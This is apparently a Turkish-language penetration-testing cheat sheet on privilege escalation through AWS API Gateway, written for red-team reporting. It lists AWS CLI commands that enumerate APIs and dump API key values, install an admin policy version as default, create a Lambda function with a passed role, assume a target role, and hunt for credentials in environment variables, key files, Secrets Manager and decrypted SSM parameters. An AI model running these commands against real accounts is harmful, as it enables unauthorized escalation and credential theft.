AWS - Apigateway Privesc
AWS privesc
AWS - Apigateway Privesc — AWS ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut principal izinlerini (inline/attached/bound) çıkar.
-
PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.
-
Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.
-
Yeni kimlikle hesap/proje etkisini kanıtla.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
aws sts get-caller-identityaws configure listecho $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'Hedef komutlar
Section titled “Hedef komutlar”AWS - Apigateway Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
aws apigateway create-deployment --rest-api-id ID --stage-name prodcurl -s https://ID.execute-api.REGION.amazonaws.com/STAGE/pathaws apigateway get-rest-apisaws apigateway get-resources --rest-api-id IDaws apigateway get-stages --rest-api-id IDaws apigateway get-api-keys --include-valuesaws apigatewayv2 get-apisYükseltme primitifleri
Section titled “Yükseltme primitifleri”Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-defaultaws lambda create-function --function-name pwn --runtime python3.12 --role arn:aws:iam::ACCOUNT:role/ROLE --handler h.handler --zip-file fileb://p.zipaws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/TARGET --role-session-name escalatedSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40aws secretsmanager list-secretsaws ssm get-parameters-by-path --path / --recursive --with-decryptionRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt